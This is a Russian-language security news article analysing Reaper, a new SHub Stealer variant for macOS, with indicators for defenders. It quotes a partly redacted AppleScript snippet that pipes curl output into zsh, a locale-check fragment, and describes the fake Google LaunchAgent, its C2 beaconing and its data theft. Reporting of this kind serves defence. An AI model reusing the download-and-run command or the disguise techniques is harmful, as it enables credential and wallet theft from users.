Новая версия SHub Stealer получила имя Reaper и уже используется в атаках на пользователей macOS. Цепочка заражения построена не вокруг уязвимости в системе, а вокруг доверия к знакомым названиям. Пользователь попадает на поддельный сайт установщика, видит сценарий «обновления безопасности», запускает AppleScript, а дальше вредоносная программа сама скачивает следующие компоненты, проверяет систему и закрепляется в ней. Такой подход помогает обойти часть привычных защитных сценариев macOS, потому что запуск происходит через действия самого пользователя.
В свежей кампании Reaper использует приманки под видом WeChat и Miro. Это популярные приложения, поэтому расчёт простой: пользователь ищет установщик, переходит на похожий домен и получает не программу, а сценарий заражения. Исследователи указали на тайпсквоттинг-домен mlcrosoft[.]co[.]com, который имитирует инфраструктуру Microsoft за счёт похожего написания. Разница видна только при внимательном чтении: вместо microsoft используется mlcrosoft, где одна буква заменена на похожую.
Дальше Reaper уходит от классической схемы ClickFix, где жертву просят скопировать команду в Терминал. В этой версии используется схема applescript://: она открывает встроенный Script Editor — редактор сценариев macOS — уже с подготовленным кодом. В окне показывается много «мусорного» текста и декоративных вставок, а вредоносная команда уходит ниже видимой области. Пользователь нажимает Run, видит имитацию загрузки Apple XProtect Remediator, а внутри выполняется команда curl, которая тянет первый shell-скрипт и запускает его через zsh.
const hiddenCommand = ` do shell script \
"echo 'Downloading Update: https://support.apple.com/downloads/xprotect-remediator-150.dmg' \
&& curl -s $(echo 'aHR0cHM6Ly…<redacted>' | base64 -d) | zsh" `;
XProtect Remediator — настоящий компонент Apple, который используется для удаления известных вредоносных программ. Reaper не использует его как уязвимость и не ломает сам инструмент. Он просто подделывает внешний смысл операции: показывает пользователю «обновление безопасности», чтобы запуск выглядел правдоподобно.
Затем скрипт проверяет языковые настройки жертвы, запрашивая com.apple.HIToolbox.plistфайл на наличие русских источников ввода.
Если используются настройки по умолчанию, прочитайте файл ~/Library/Preferences/com.apple.HIToolbox.plist.
AppleEnabledInputSources 2>/dev/null | grep -qi russian; then
IS_CIS= "true"
fi
Если хост находится в регионе СНГ (Содружество Независимых Государств), вредоносная программа отправляет cis_blocked телеметрическое событие на свой сервер управления и контроля (C2) и завершает работу. В противном случае она извлекает AppleScript, содержащий основную логику эксфильтрации, и выполняет его, не затрагивая локальный диск osascript.
Apple уже усиливала защиту против сценариев, где сайты заставляют пользователей вставлять подозрительные команды в Терминал. Microsoft тоже отдельно описывала рост macOS-кампаний, где фальшивые инструкции по «очистке системы» или «установке утилиты» приводили к загрузке MacSync, SHub Stealer и AMOS. В таких атаках вредоносный код часто запускается через osascript, shell-интерпретаторы и другие штатные инструменты, минуя проверки, которые обычно срабатывают при открытии приложения через Finder.
Reaper меняет точку входа: вместо Терминала используется Script Editor. Для пользователя это всё ещё выглядит как системный процесс macOS, но с технической стороны это уже другой маршрут выполнения. SentinelOne описывает его как способ обойти терминальную защиту Apple для ClickFix-подобных атак. Сценарий не делает пользователя администратором автоматически, но запускает код с правами текущей учётной записи, а этого часто хватает для кражи браузерных данных, файлов, Telegram-сессий и части криптокошельков.
Перед запуском основной нагрузки сайт также собирает технические признаки посетителя. В разборе указаны IP-адрес, геолокация, WebGL-отпечаток, признаки виртуальной машины или VPN, данные о браузере и расширениях. Отдельно проверяются расширения менеджеров паролей и криптокошельков: 1Password, Bitwarden, LastPass, MetaMask, Phantom и другие. Это помогает операторам понять, стоит ли продолжать атаку и насколько ценным может быть заражённое устройство.

После первичного запуска Reaper создаёт механизм закрепления, который выглядит как часть Google Software Update. Вредоносный bash-скрипт с именем GoogleUpdate помещается в каталог:
~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/
Затем создаётся LaunchAgent:
com.google.keystone.agent.plist
Название похоже на легитимный Google Keystone — механизм обновления приложений Google на macOS. Вредоносный LaunchAgent запускает скрипт каждые 60 секунд. При каждом запуске он отправляет сведения о системе на endpoint /api/bot/heartbeat. Если сервер возвращает команду в поле code, скрипт декодирует её, записывает во временный файл /tmp/.c.sh, запускает с правами текущего пользователя и удаляет следы.
Reaper работает как инфостилер: он ищет данные, которые можно быстро монетизировать или использовать для дальнейшего взлома. В списке целей — сохранённые пароли браузеров, cookies, автозаполнение, данные Firefox и Chromium-браузеров, Apple Keychain, iCloud-данные, Safari, Apple Notes, Telegram-сессии, файлы shell-истории .zsh_history и .bash_history, а также .gitconfig.
Отдельный интерес — криптовалютные приложения. SHub раньше уже отмечался кражей данных Exodus, Atomic Wallet, Ledger Live, Trezor Suite и других кошельков. В некоторых кампаниях вредонос не просто копировал файлы, а подменял компоненты криптокошельков, чтобы позже перехватить seed-фразу или другие секреты. Malwarebytes описывала такую схему в кампании с фальшивым CleanMyMac: сайт убеждал пользователя вставить команду в Терминал, после чего SHub крал пароли, Keychain, Telegram-сессии и данные кошельков.
В новой версии добавлен модуль FileGrabber, похожий по идее на техники других macOS-стилеров. Он просматривает Desktop и Documents, выбирает документы и файлы с потенциальной финансовой или рабочей ценностью, собирает их во временный каталог /tmp/shub_<random>/, режет архив на куски по 10 МБ и отправляет на сервер через curl. В опубликованных индикаторах есть endpoint /gate/chunk, связанный с загрузкой фрагментов.
Для защитников главный сигнал — неожиданный запуск Script Editor или osascript после перехода на сайт установщика. Отдельно стоит проверять создание LaunchAgent с именем com.google.keystone.agent.plist в пользовательском каталоге, появление GoogleUpdate внутри ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/, временные файлы /tmp/.c.sh, /tmp/shub_<random>/ и /tmp/shub_split.sh.
На сетевом уровне стоит искать обращения к доменам и endpoint-ам из индикаторов: mlcrosoft[.]co[.]com, hebsbsbzjsjshduxbs[.]xyz, /api/bot/heartbeat, /gate/chunk.
Есть новость? Станьте автором.
Мы сотрудничаем с независимыми исследователями и специалистами по кибербезопасности. Отправьте нам новость или предложите статью на рассмотрение редакции.